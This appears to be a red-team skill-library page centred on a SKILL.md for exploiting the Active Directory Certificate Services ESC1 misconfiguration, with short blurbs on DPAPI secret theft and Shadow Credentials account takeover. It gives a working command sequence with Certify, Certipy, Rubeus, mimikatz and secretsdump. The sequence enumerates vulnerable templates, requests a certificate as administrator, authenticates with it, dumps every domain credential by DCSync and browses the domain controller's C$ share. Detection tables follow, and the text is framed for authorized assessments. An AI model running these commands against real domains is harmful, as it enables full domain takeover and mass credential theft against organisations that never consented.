菜单
Exploit misconfigured Active Directory Certificate Services (AD CS) ESC1 vulnerability to request certificates as high-privileged users and escalate domain privileges during authorized red team assessments.
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Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket's dpapi.py, including domain-wide decryption via the DPAPI backup key. Use during authorized red-team credential-access engagements after gaining a foothold or when triaging DPAPI blobs pulled from a host.
Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target's NT hash without a password reset. Use when BloodHound shows GenericWrite/GenericAll/AddKeyCredentialLink over a target, as a stealthier alternative to ForceChangePassword, during authorized red-team engagements.
Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.
正在显示 SKILL.md
基于 SOC 职业分类
| name | exploiting-active-directory-certificate-services-esc1 |
| description | Exploit misconfigured Active Directory Certificate Services (AD CS) ESC1 vulnerability to request certificates as high-privileged users and escalate domain privileges during authorized red team assessments. |
| domain | cybersecurity |
| subdomain | red-teaming |
| tags | ["red-team","active-directory","ad-cs","esc1","certificate-abuse","privilege-escalation","domain-escalation"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
| d3fend_techniques | ["File Metadata Consistency Validation","Certificate Analysis","Content Format Conversion","File Content Analysis","Platform Hardening"] |
| nist_csf | ["ID.RA-01","GV.OV-02","DE.AE-07"] |
| mitre_attack | ["T1595","T1190","T1059","T1078","T1068"] |
ESC1 (Escalation Scenario 1) is a critical misconfiguration in Active Directory Certificate Services where a certificate template allows a low-privileged user to request a certificate on behalf of any other user, including Domain Admins. The vulnerability exists when a template has the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag enabled (also called "Supply in Request"), combined with an Extended Key Usage (EKU) that permits client authentication (Client Authentication, PKINIT Client Authentication, Smart Card Logon, or Any Purpose). This allows an attacker to specify an arbitrary Subject Alternative Name (SAN) in the certificate request, effectively impersonating any domain user. ESC1 was documented by SpecterOps researchers Will Schroeder and Lee Christensen in their "Certified Pre-Owned" whitepaper (2021) and remains one of the most common AD CS attack paths. The MITRE ATT&CK framework tracks this as T1649 (Steal or Forge Authentication Certificates).
# Using Certify (Windows)
Certify.exe cas
# Using Certipy (Linux/Python)
certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1
# Using Certify - find vulnerable templates
Certify.exe find /vulnerable
# Using Certipy - outputs JSON and text reports
certipy find -u user@domain.local -p 'Password123' -dc-ip 10.10.10.1 -vulnerable
msPKI-Certificate-Name-Flag contains ENROLLEE_SUPPLIES_SUBJECTpkiExtendedKeyUsage contains Client Authentication or Smart Card LogonmsPKI-Enrollment-Flag does not require manager approval# Using Certify (Windows)
Certify.exe request /ca:DC01.domain.local\domain-CA /template:VulnerableTemplate /altname:administrator
# Using Certipy (Linux)
certipy req -u user@domain.local -p 'Password123' -ca 'domain-CA' -target DC01.domain.local -template VulnerableTemplate -upn administrator@domain.local
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
# Using Rubeus (Windows)
Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:<pfx-password> /ptt
# Using Certipy (Linux)
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.1
# DCSync to dump all domain credentials
mimikatz.exe "lsadump::dcsync /domain:domain.local /all"
# Or using secretsdump.py with the obtained NT hash
secretsdump.py domain.local/administrator@DC01.domain.local -hashes :ntlmhash
# List domain controllers
dir \\DC01.domain.local\C$
# Access Domain Admin shares
dir \\DC01.domain.local\SYSVOL
| Tool | Purpose | Platform |
|---|---|---|
| Certify | AD CS enumeration and certificate requests | Windows (.NET) |
| Certipy | AD CS enumeration, request, and authentication | Linux (Python) |
| Rubeus | Kerberos authentication with certificates (PKINIT) | Windows (.NET) |
| Mimikatz | Credential dumping post-escalation | Windows |
| secretsdump.py | Remote credential dumping (Impacket) | Linux (Python) |
| PSPKIAudit | PowerShell AD CS auditing module | Windows |
| ForgeCert | Certificate forgery tool | Windows (.NET) |
| Condition | Vulnerable Value |
|---|---|
| msPKI-Certificate-Name-Flag | ENROLLEE_SUPPLIES_SUBJECT (1) |
| pkiExtendedKeyUsage | Client Authentication (1.3.6.1.5.5.7.3.2) |
| Enrollment Rights | Domain Users or Authenticated Users |
| msPKI-Enrollment-Flag | No manager approval required |
| CA Setting | No approval workflow enforced |
| Indicator | Detection Method |
|---|---|
| Certificate request with SAN different from requester | Windows Event 4886 / 4887 on CA server |
| Unusual PKINIT authentication | Event 4768 with certificate-based pre-auth |
| Certify.exe or Certipy execution | EDR process monitoring and command-line logging |
| Mass certificate template enumeration | LDAP query monitoring for pkiCertificateTemplate objects |
| Certificate issued to non-matching UPN | CA audit logs and certificate transparency |